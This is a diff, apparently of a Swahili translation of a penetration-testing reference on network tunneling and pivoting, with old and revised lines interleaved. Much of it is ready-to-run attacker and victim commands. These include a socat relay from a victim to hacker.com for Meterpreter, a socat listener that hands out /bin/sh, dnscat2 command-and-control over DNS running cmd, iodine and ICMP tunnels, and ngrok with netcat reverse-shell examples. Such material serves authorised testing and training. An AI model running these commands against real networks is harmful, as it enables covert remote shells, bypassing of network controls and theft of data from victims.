||||||
|
|
||||||
#### 2. Kutumia Proxychains
|
|
||||||
|
|
||||||
Proxychains ni chombo kinachoruhusu kutumia socks proxy kwa programu yoyote. Unaweza kufuata hatua zifuatazo:
|
|
||||||
|
|
||||||
1. Sakinisha proxychains kwenye mfumo wako.
|
|
||||||
|
|
||||||
2. Fungua faili ya konfigurisheni ya proxychains (`/etc/proxychains.conf` au `/usr/local/etc/proxychains.conf`) na uhariri maelezo yafuatayo:
|
|
||||||
|
|
||||||
- Ongeza maelezo ya socks proxy kwa kuongeza mstari ufuatao:
|
|
||||||
```
|
|
||||||
socks4 127.0.0.1 <local_port>
|
|
||||||
```
|
|
||||||
- Hakikisha kuwa mstari wa `dynamic_chain` umewekwa kama `dynamic_chain`.
|
|
||||||
|
|
||||||
3. Baada ya kuhariri faili ya konfigurisheni, unaweza kutumia programu yoyote na kuifunga na proxychains kwa kutumia amri ifuatayo:
|
|
||||||
```bash
|
|
||||||
proxychains <program_name>
|
|
||||||
```
|
|
||||||
|
|
||||||
Programu hiyo sasa itatumia socks proxy uliyoanzisha kwa port2port.
|
|
||||||
|
|
||||||
Hizi ni njia mbili za kawaida za kufanya port2port kupitia socks. Unaweza kuchagua njia inayofaa zaidi kulingana na mazingira yako na mahitaji yako.
|
|
||||||
```bash
|
```bash
|
||||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||||
```
|
```
|
||||||
### Meterpreter kupitia SSL Socat
|
### Meterpreter kupitia SSL Socat
|
||||||
|
|
||||||
Kuna njia nyingi za kufanya tunneling na kusonga trafiki ya mtandao kupitia bandari zilizofungwa au kizuizi cha mtandao. Moja ya njia hizi ni kutumia SSL Socat kwa kusonga Meterpreter kupitia bandari iliyofungwa.
|
|
||||||
|
|
||||||
Kwanza, tunahitaji kuanzisha SSL Socat kwenye mashine ya kudhibiti (C2) na kusikiliza kwenye bandari ya SSL. Hii inaweza kufanywa kwa kutumia amri ifuatayo:
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
socat openssl-listen:443,reuseaddr,fork,cert=server.pem,verify=0 -
|
|
||||||
```
|
|
||||||
|
|
||||||
Baada ya hapo, tunahitaji kuanzisha kipokezi cha Meterpreter kwenye mashine ya lengo (target) na kuunganisha kwenye bandari ya SSL ya C2. Hii inaweza kufanywa kwa kutumia amri ifuatayo:
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
meterpreter > portfwd add -l 443 -p 443 -r <C2_IP>
|
|
||||||
```
|
|
||||||
|
|
||||||
Sasa, tunaweza kuunganisha kwenye Meterpreter kwenye mashine ya lengo kwa kutumia SSL Socat. Hii inaweza kufanywa kwa kutumia amri ifuatayo:
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
socat openssl:<target_IP>:443,verify=0 -
|
|
||||||
```
|
|
||||||
|
|
||||||
Baada ya hapo, tunaweza kufanya operesheni za kawaida za Meterpreter kwenye mashine ya lengo kupitia SSL Socat.
|
|
||||||
|
|
||||||
Kumbuka: Usalama wa SSL Socat unategemea ufungaji sahihi wa cheti cha SSL. Ni muhimu kuhakikisha kuwa cheti cha SSL kinatolewa na mamlaka ya kuaminika na kimefungwa vizuri ili kuzuia uwezekano wa shambulio la kati (man-in-the-middle attack).
|
|
||||||
```bash
|
```bash
|
||||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||||
|
@ -373,7 +263,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||||
#Execute the meterpreter
|
#Execute the meterpreter
|
||||||
```
|
```
|
||||||
Unaweza kuzunguka **proxy isiyothibitishwa** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mwathirika:
|
Unaweza kuzunguka **proxy isiyo na uthibitisho** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mhanga:
|
||||||
```bash
|
```bash
|
||||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||||
```
|
```
|
||||||
|
@ -381,9 +271,9 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
||||||
|
|
||||||
### Tuneli ya SSL ya Socat
|
### Tuneli ya SSL ya Socat
|
||||||
|
|
||||||
**/bin/sh konsoli**
|
**Konsoli ya /bin/sh**
|
||||||
|
|
||||||
Tengeneza vyeti kwenye pande zote mbili: Mteja na Seva
|
Unda vyeti pande zote mbili: Mteja na Seva
|
||||||
```bash
|
```bash
|
||||||
# Execute these commands on both sides
|
# Execute these commands on both sides
|
||||||
FILENAME=socatssl
|
FILENAME=socatssl
|
||||||
|
@ -397,9 +287,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
||||||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||||
```
|
```
|
||||||
### Uunganishaji wa Port2Port wa Mbali
|
### Port2Port ya Mbali
|
||||||
|
|
||||||
Weka uhusiano wa bandari ya SSH ya ndani (22) kwenye bandari ya 443 ya mwenyeji wa mshambuliaji
|
unganisha bandari ya SSH ya ndani (22) kwenye bandari ya 443 ya mwenyeji wa mshambuliaji
|
||||||
```bash
|
```bash
|
||||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||||
|
@ -407,9 +297,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||||
```
|
```
|
||||||
## Plink.exe
|
## Plink.exe
|
||||||
|
|
||||||
Ni kama toleo la PuTTY la kawaida (chaguo zake ni sawa na mteja wa ssh).
|
Ni kama toleo la konsoli la PuTTY (chaguo zake ni sawa sana na mteja wa ssh).
|
||||||
|
|
||||||
Kwa kuwa faili hii itatekelezwa kwenye kifaa cha mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uhusiano wa kurudi nyuma. Kisha, ili kusambaza tu bandari inayopatikana kwa kifaa cha ndani kwenye kifaa chetu:
|
Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu:
|
||||||
```bash
|
```bash
|
||||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||||
|
@ -418,7 +308,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
|
||||||
|
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
Unahitaji kuwa na mamlaka ya ndani (kwa ajili ya bandari yoyote)
|
Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote)
|
||||||
```bash
|
```bash
|
||||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||||
# Example:
|
# Example:
|
||||||
|
@ -433,36 +323,36 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||||
Unahitaji kuwa na **upatikanaji wa RDP kwenye mfumo**.\
|
Unahitaji kuwa na **upatikanaji wa RDP kwenye mfumo**.\
|
||||||
Pakua:
|
Pakua:
|
||||||
|
|
||||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutuma pakiti kupitia uhusiano wa RDP**.
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutunza pakiti kupitia uhusiano wa RDP**.
|
||||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||||
|
|
||||||
Katika kompyuta yako ya mteja, pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavyo:
|
Kwenye kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama hivi:
|
||||||
```bash
|
```bash
|
||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
Sasa tunaweza **kuunganisha** kwa **mwathiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kidhibiti** kinachosema kuwa **programu-jalizi ya SocksOverRDP imeamilishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**.
|
Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kutumia **`mstsc.exe`**, na tunapaswa kupokea **kitufe** kikisema kuwa **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**.
|
||||||
|
|
||||||
**Unge** kupitia **RDP** na kupakia na kutekeleza kwenye kompyuta ya mwathiriwa faili ya `SocksOverRDP-Server.exe`:
|
**Ungezea** kupitia **RDP** na kupakia & kutekeleza kwenye mashine ya muhanga `SocksOverRDP-Server.exe` binary:
|
||||||
```
|
```
|
||||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||||
```
|
```
|
||||||
Sasa, hakikisha kwenye kompyuta yako (mshambuliaji) kwamba bandari ya 1080 inasikiliza:
|
Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
|
||||||
```
|
```
|
||||||
netstat -antb | findstr 1080
|
netstat -antb | findstr 1080
|
||||||
```
|
```
|
||||||
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia trafiki kupitia bandari hiyo.**
|
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia trafiki hiyo kupitia bandari hiyo.**
|
||||||
|
|
||||||
## Proxify Programu za Windows GUI
|
## Proxify Programu za Windows GUI
|
||||||
|
|
||||||
Unaweza kufanya programu za Windows GUI zinazunguka kupitia proksi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
|
Unaweza kufanya programu za Windows GUI zinazotembea kupitia proksi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
|
||||||
Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
|
Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
|
||||||
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanywa proksi na uhusiano kwa IP unayotaka kufanywa proksi.
|
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanya proksi na uhusiano kwa IPs unazotaka kufanya proksi.
|
||||||
|
|
||||||
## Kupitisha kizuizi cha proksi cha NTLM
|
## Kupuuza proksi ya NTLM
|
||||||
|
|
||||||
Zana iliyotajwa hapo awali: **Rpivot**\
|
Zana iliyotajwa hapo awali: **Rpivot**\
|
||||||
**OpenVPN** pia inaweza kusaidia, kwa kuweka chaguo hizi katika faili ya usanidi:
|
**OpenVPN** pia inaweza kuipuuza, kwa kuweka chaguo hizi katika faili ya usanidi:
|
||||||
```bash
|
```bash
|
||||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||||
```
|
```
|
||||||
|
@ -470,8 +360,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||||
|
|
||||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||||
|
|
||||||
Inathibitisha utambulisho dhidi ya wakala na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia chombo cha uchaguzi wako kupitia bandari hii.\
|
Inathibitisha dhidi ya proxi na kufunga bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia chombo unachopendelea kupitia bandari hii.\
|
||||||
Kwa mfano, inabana bandari 443
|
Kwa mfano, inaweza kuendesha bandari 443.
|
||||||
```
|
```
|
||||||
Username Alice
|
Username Alice
|
||||||
Password P@ssw0rd
|
Password P@ssw0rd
|
||||||
|
@ -479,12 +369,12 @@ Domain CONTOSO.COM
|
||||||
Proxy 10.0.0.10:8080
|
Proxy 10.0.0.10:8080
|
||||||
Tunnel 2222:<attackers_machine>:443
|
Tunnel 2222:<attackers_machine>:443
|
||||||
```
|
```
|
||||||
Sasa, ikiwa unaweka kwa mfano kwenye mwathiriwa huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya mshambuliaji 2222.\
|
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji.\
|
||||||
Unaweza pia kutumia **meterpreter** ambayo inaunganisha kwenye localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
|
Unaweza pia kutumia **meterpreter** inayounganisha kwa localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
|
||||||
|
|
||||||
## YARP
|
## YARP
|
||||||
|
|
||||||
Kiproksi cha kurudisha kilichoundwa na Microsoft. Unaweza kuipata hapa: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
Proksi ya nyuma iliyoundwa na Microsoft. Unaweza kuipata hapa: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||||
|
|
||||||
## DNS Tunneling
|
## DNS Tunneling
|
||||||
|
|
||||||
|
@ -492,13 +382,13 @@ Kiproksi cha kurudisha kilichoundwa na Microsoft. Unaweza kuipata hapa: [https:/
|
||||||
|
|
||||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||||
|
|
||||||
Mizizi inahitajika kwenye mifumo yote kuunda ada za tun na kusambaza data kati yao kwa kutumia maswali ya DNS.
|
Root inahitajika kwenye mifumo yote kujenga viunganishi vya tun na kufanya data ya mtaro kati yao kutumia matakwa ya DNS.
|
||||||
```
|
```
|
||||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||||
#You can see the victim at 1.1.1.2
|
#You can see the victim at 1.1.1.2
|
||||||
```
|
```
|
||||||
Tunnel hii itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopunguzwa kupitia tunnel hii kwa kutumia:
|
Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopimwa kupitia handaki hili kwa kutumia:
|
||||||
```
|
```
|
||||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||||
```
|
```
|
||||||
|
@ -506,7 +396,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||||
|
|
||||||
[**Pakua hapa**](https://github.com/iagox86/dnscat2)**.**
|
[**Pakua hapa**](https://github.com/iagox86/dnscat2)**.**
|
||||||
|
|
||||||
Inajenga njia ya C\&C kupitia DNS. Haina haja ya mamlaka ya msingi.
|
Inaanzisha njia ya C\&C kupitia DNS. Haitaji mamlaka ya msingi.
|
||||||
```bash
|
```bash
|
||||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||||
victim> ./dnscat2 tunneldomain.com
|
victim> ./dnscat2 tunneldomain.com
|
||||||
|
@ -515,53 +405,23 @@ victim> ./dnscat2 tunneldomain.com
|
||||||
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
||||||
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||||
```
|
```
|
||||||
#### **Katika PowerShell**
|
#### **Kwa PowerShell**
|
||||||
|
|
||||||
Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kuendesha mteja wa dnscat2 katika powershell:
|
Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kutekeleza mteja wa dnscat2 kwenye powershell:
|
||||||
```
|
```
|
||||||
Import-Module .\dnscat2.ps1
|
Import-Module .\dnscat2.ps1
|
||||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||||
```
|
```
|
||||||
#### **Kusambaza Bandari na dnscat**
|
#### **Kusonga mbele kwa kutumia dnscat**
|
||||||
|
|
||||||
Port forwarding is a technique used to redirect network traffic from one port to another. It can be useful in various scenarios, such as accessing a service running on a remote machine through a firewall or NAT device.
|
|
||||||
|
|
||||||
Dnscat is a tool that allows you to create a covert communication channel by encapsulating data within DNS queries and responses. It can be used for various purposes, including bypassing firewalls and exfiltrating data from a target network.
|
|
||||||
|
|
||||||
To perform port forwarding with dnscat, follow these steps:
|
|
||||||
|
|
||||||
1. Set up a dnscat server on a machine with a public IP address. This will act as the relay between the client and the target machine.
|
|
||||||
|
|
||||||
2. Configure the DNS settings of the target machine to use the dnscat server as its primary DNS server.
|
|
||||||
|
|
||||||
3. Start the dnscat server and specify the port you want to forward traffic to. For example, if you want to forward traffic from port 8080 to the target machine, you would run the following command:
|
|
||||||
|
|
||||||
```
|
|
||||||
dnscat --dns <dnscat_server_ip> --dns-port <dnscat_server_port> --forward <target_ip>:8080
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<dnscat_server_ip>` with the IP address of the dnscat server and `<dnscat_server_port>` with the port number it is listening on.
|
|
||||||
|
|
||||||
4. On the client machine, start the dnscat client and specify the dnscat server IP address and port number. For example:
|
|
||||||
|
|
||||||
```
|
|
||||||
dnscat --dns <dnscat_server_ip> --dns-port <dnscat_server_port>
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `<dnscat_server_ip>` with the IP address of the dnscat server and `<dnscat_server_port>` with the port number it is listening on.
|
|
||||||
|
|
||||||
5. Once the client is connected to the dnscat server, you can access the target machine's service by connecting to the specified port on the client machine. The traffic will be forwarded to the target machine through the dnscat server.
|
|
||||||
|
|
||||||
Port forwarding with dnscat can be a powerful technique for bypassing network restrictions and accessing services on remote machines. However, it is important to use this technique responsibly and with proper authorization.
|
|
||||||
```bash
|
```bash
|
||||||
session -i <sessions_id>
|
session -i <sessions_id>
|
||||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||||
```
|
```
|
||||||
#### Badilisha DNS ya proxychains
|
#### Badilisha DNS ya proxychains
|
||||||
|
|
||||||
Proxychains inakamata wito wa libc wa `gethostbyname` na kusafirisha ombi la DNS la tcp kupitia soksi ya proxy. Kwa **chaguo-msingi**, seva ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows**, unaweza kuweka IP ya **domain controller**.
|
Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la DNS la tcp kupitia proksi ya socks. Kwa **chaguo-msingi** serveri ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**.
|
||||||
|
|
||||||
## Mifereji katika Go
|
## Mita Mita katika Go
|
||||||
|
|
||||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||||
|
|
||||||
|
@ -572,7 +432,7 @@ Proxychains inakamata wito wa libc wa `gethostbyname` na kusafirisha ombi la DNS
|
||||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||||
|
|
||||||
Inahitajika kuwa na mizizi kwenye mifumo yote mawili ili kuunda ada za tun na kusafirisha data kati yao kwa kutumia ombi la ICMP echo.
|
Mizizi inahitajika katika mifumo yote miwili ili kuunda viunganishi vya tun na kutuma data kati yao kwa kutumia maombi ya ping ya ICMP.
|
||||||
```bash
|
```bash
|
||||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||||
|
@ -596,13 +456,13 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||||
```
|
```
|
||||||
## ngrok
|
## ngrok
|
||||||
|
|
||||||
**[ngrok](https://ngrok.com/) ni zana ya kuwezesha ufikiaji wa suluhisho kwenye mtandao kwa kutumia amri moja tu.**
|
**[ngrok](https://ngrok.com/) ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja.**
|
||||||
*URI ya ufikiaji ni kama:* **UID.ngrok.io**
|
*URI za Ufunuo ni kama:* **UID.ngrok.io**
|
||||||
|
|
||||||
### Ufungaji
|
### Usakinishaji
|
||||||
|
|
||||||
- Unda akaunti: https://ngrok.com/signup
|
- Unda akaunti: https://ngrok.com/signup
|
||||||
- Pakua mteja:
|
- Pakua Mteja:
|
||||||
```bash
|
```bash
|
||||||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||||||
chmod a+x ./ngrok
|
chmod a+x ./ngrok
|
||||||
|
@ -611,11 +471,11 @@ chmod a+x ./ngrok
|
||||||
```
|
```
|
||||||
### Matumizi ya Msingi
|
### Matumizi ya Msingi
|
||||||
|
|
||||||
**Hati:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
**Nyaraka:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||||
|
|
||||||
*Pia ni muhimu kuongeza uthibitishaji na TLS, ikiwa ni lazima.*
|
*Pia niwezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.*
|
||||||
|
|
||||||
#### Kuchimba TCP
|
#### Kufanya Barabara ya TCP
|
||||||
```bash
|
```bash
|
||||||
# Pointing to 0.0.0.0:4444
|
# Pointing to 0.0.0.0:4444
|
||||||
./ngrok tcp 4444
|
./ngrok tcp 4444
|
||||||
|
@ -623,41 +483,17 @@ chmod a+x ./ngrok
|
||||||
# Listen (example): nc -nvlp 4444
|
# Listen (example): nc -nvlp 4444
|
||||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||||
```
|
```
|
||||||
#### Kufichua faili kwa kutumia HTTP
|
#### Kufunua faili kwa kutumia HTTP
|
||||||
|
|
||||||
One way to expose files on a target machine is by using HTTP. This can be done by setting up a simple HTTP server on your machine and then using a tunneling technique to forward traffic from the target machine to your machine.
|
|
||||||
|
|
||||||
Moja ya njia za kufichua faili kwenye kifaa cha lengo ni kwa kutumia HTTP. Hii inaweza kufanywa kwa kuweka seva rahisi ya HTTP kwenye kifaa chako na kisha kutumia njia ya tunneling kuhamisha trafiki kutoka kifaa cha lengo kwenda kifaa chako.
|
|
||||||
|
|
||||||
To set up an HTTP server, you can use tools like Python's `SimpleHTTPServer` module or `http.server` module. These tools allow you to easily create a basic HTTP server that serves files from a specified directory.
|
|
||||||
|
|
||||||
Kuweka seva ya HTTP, unaweza kutumia zana kama moduli ya `SimpleHTTPServer` ya Python au moduli ya `http.server`. Zana hizi zinaruhusu kuunda kwa urahisi seva ya HTTP ya msingi ambayo inahudumia faili kutoka kwenye saraka iliyotajwa.
|
|
||||||
|
|
||||||
Once the HTTP server is set up, you can use a tunneling technique like SSH port forwarding or reverse SSH tunneling to forward traffic from the target machine to your machine.
|
|
||||||
|
|
||||||
Baada ya kuweka seva ya HTTP, unaweza kutumia njia ya tunneling kama SSH port forwarding au reverse SSH tunneling kuhamisha trafiki kutoka kifaa cha lengo kwenda kifaa chako.
|
|
||||||
|
|
||||||
With SSH port forwarding, you can forward traffic from a specific port on the target machine to a port on your machine. This allows you to access the files served by the HTTP server on your machine.
|
|
||||||
|
|
||||||
Kwa SSH port forwarding, unaweza kuhamisha trafiki kutoka bandari maalum kwenye kifaa cha lengo kwenda bandari kwenye kifaa chako. Hii inakuwezesha kupata faili zinazohudumiwa na seva ya HTTP kwenye kifaa chako.
|
|
||||||
|
|
||||||
Reverse SSH tunneling, on the other hand, allows you to forward traffic from a port on your machine to a port on the target machine. This can be useful if the target machine is behind a firewall or NAT and cannot be directly accessed from the internet.
|
|
||||||
|
|
||||||
Kwa upande mwingine, reverse SSH tunneling inakuwezesha kuhamisha trafiki kutoka bandari kwenye kifaa chako kwenda bandari kwenye kifaa cha lengo. Hii inaweza kuwa na manufaa ikiwa kifaa cha lengo kimefungwa na firewall au NAT na hakiwezi kupatikana moja kwa moja kutoka kwenye mtandao.
|
|
||||||
|
|
||||||
By combining an HTTP server with tunneling techniques, you can expose files on a target machine and access them remotely. This can be useful for various purposes, such as retrieving sensitive information or transferring files between machines.
|
|
||||||
|
|
||||||
Kwa kuunganisha seva ya HTTP na njia za tunneling, unaweza kufichua faili kwenye kifaa cha lengo na kuzipata kijijini. Hii inaweza kuwa na manufaa kwa madhumuni mbalimbali, kama vile kupata habari nyeti au kuhamisha faili kati ya vifaa.
|
|
||||||
```bash
|
```bash
|
||||||
./ngrok http file:///tmp/httpbin/
|
./ngrok http file:///tmp/httpbin/
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
```
|
```
|
||||||
#### Kusikiliza wito wa HTTP
|
#### Kuchunguza wito wa HTTP
|
